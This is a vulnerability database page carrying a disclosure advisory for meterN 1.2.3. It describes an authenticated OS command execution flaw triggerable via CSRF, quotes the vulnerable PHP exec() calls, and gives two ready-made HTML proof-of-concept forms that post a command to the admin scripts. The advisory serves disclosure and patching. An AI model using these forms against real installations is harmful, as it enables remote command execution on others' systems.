Vulners
Lucene search
meterN v1.2.3 Authenticated Remote Command Execution Vulnerability
| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
 | CVE-2021-47747 | 31 Dec 202521:57 | – | circl |
 | meterN 操作系统命令注入漏洞 | 31 Dec 202500:00 | – | cnnvd |
 | CVE-2021-47747 | 31 Dec 202518:39 | – | cve |
 | CVE-2021-47747 meterN 1.2.3 Authenticated Remote Code Execution via Admin Scripts | 31 Dec 202518:39 | – | cvelist |
 | EUVD-2025-206087 | 31 Dec 202521:30 | – | euvd |
 | CVE-2021-47747 | 31 Dec 202519:15 | – | nvd |
 | PT-2025-54427 | 31 Dec 202500:00 | – | ptsecurity |
 | CVE-2021-47747 | 1 Jan 202619:28 | – | redhatcve |
 | CVE-2021-47747 meterN 1.2.3 Authenticated Remote Code Execution via Admin Scripts | 31 Dec 202518:39 | – | vulnrichment |
<!--
meterN v1.2.3 Authenticated Remote Command Execution Vulnerability
Vendor: Jean-Marc Louviaux
Product web page: https://www.metern.org
Affected version: 1.2.3 and 0.8.3.2
Summary: meterN is a set of PHP/JS files that make a -Home energy metering & monitoring- solution.
It accept any meters like : electrical, water, gas, fuel consumption, solar, Wind energy production
and so on. Sensors such as temperature or humidity are also accepted. The philosophy is: To keep it
simple, fast, with a low foot print to run on cheap and low powered devices.
Desc: The application suffers from an authenticated OS command execution vulnerability. This can be
exploited to execute arbitrary commands through the 'COMMANDx' and 'LIVECOMMANDx' POST parameters in
admin_meter2.php and admin_indicator2.php scripts. The application interface allows users to perform
these actions through HTTP requests without performing any validity checks to verify the requests.
This CSRF can be exploited to perform actions with administrative privileges if a logged-in user
visits a malicious web site.
---------------------------------------------------------------------------------------------------
/admin/admin_meter2.php:
------------------------
69: if (!empty($_POST['COMMANDx']) && is_string($_POST['COMMANDx'])) {
70: $COMMANDx = htmlspecialchars($_POST['COMMANDx'], ENT_QUOTES, 'UTF-8');
71: } else {
72: $COMMANDx = '';
73: }
...
...
108: if (!empty($_POST['LIVECOMMANDx']) && is_string($_POST['LIVECOMMANDx'])) {
109: $LIVECOMMANDx = htmlspecialchars($_POST['LIVECOMMANDx'], ENT_QUOTES, 'UTF-8');
110: } else {
111: $LIVECOMMANDx = '';
112: }
...
...
271: exec("$COMMANDx 2>&1", $datareturn);
...
...
303: exec("$LIVECOMMANDx 2>&1", $datareturn);
---------------------------------------------------------------------------------------------------
Tested on: Apache/2.4.10 (Raspbian)
Apache/2.4.46 (Win64)
Linux 4.9.67-v7+ GNU/Linux (armv7l)
Microsoft Windows 10 Home (10.0.19042 Build 19042)
PHP/7.2.33
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5690
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5690.php
18.11.2021
--><html><body><p>PoC #1:
-------
</p>
<form action="http://localhost/metern/admin/admin_indicator2.php" method="POST">
<input name="NUMINDx" type="hidden" value="1"/>
<input name="INDNAMEx1" type="hidden" value="test"/>
<input name="IDx1" type="hidden" value="1"/>
<input name="COMMANDx1" type="hidden" value="calc"/>
<input name="bntsubmit1" type="hidden" value="Test command"/>
<input name="UNITx1" type="hidden" value=""/>
<input type="submit" value="Incongruity"/>
</form>
PoC #2:
-------
<form action="http://localhost/metern/admin/admin_meter2.php" method="POST">
<input name="METNAMEx" type="hidden" value="Conso"/>
<input name="COLORx" type="hidden" value="962629"/>
<input name="TYPEx" type="hidden" value="Elect"/>
<input name="PRODx" type="hidden" value="2"/>
<input name="PHASEx" type="hidden" value="1"/>
<input name="SKIPMONITORINGx" type="hidden" value=""/>
<input name="IDx" type="hidden" value="elect"/>
<input name="COMMANDx" type="hidden" value="houseenergy -energy"/>
<input name="PASSOx" type="hidden" value="100000"/>
<input name="PRICEx" type="hidden" value="0.23"/>
<input name="LIDx" type="hidden" value="elect"/>
<input name="LIVECOMMANDx" type="hidden" value="calc"/>
<input name="bntsubmit" type="hidden" value="Test live command"/>
<input name="EMAILx" type="hidden" value=""/>
<input name="WARNCONSODx" type="hidden" value="15000"/>
<input name="NORESPMx" type="hidden" value="true"/>
<input name="POAKEYx" type="hidden" value=""/>
<input name="POUKEYx" type="hidden" value=""/>
<input name="TLGRTOKx" type="hidden" value=""/>
<input name="TLGRCIDx" type="hidden" value=""/>
<input name="met_numx" type="hidden" value="1"/>
<input type="submit" value="Incongruity"/>
</form>
</body></html>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
13 Dec 2021 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 48.6
CVSS 3.18.8
EPSS0.00217
SSVC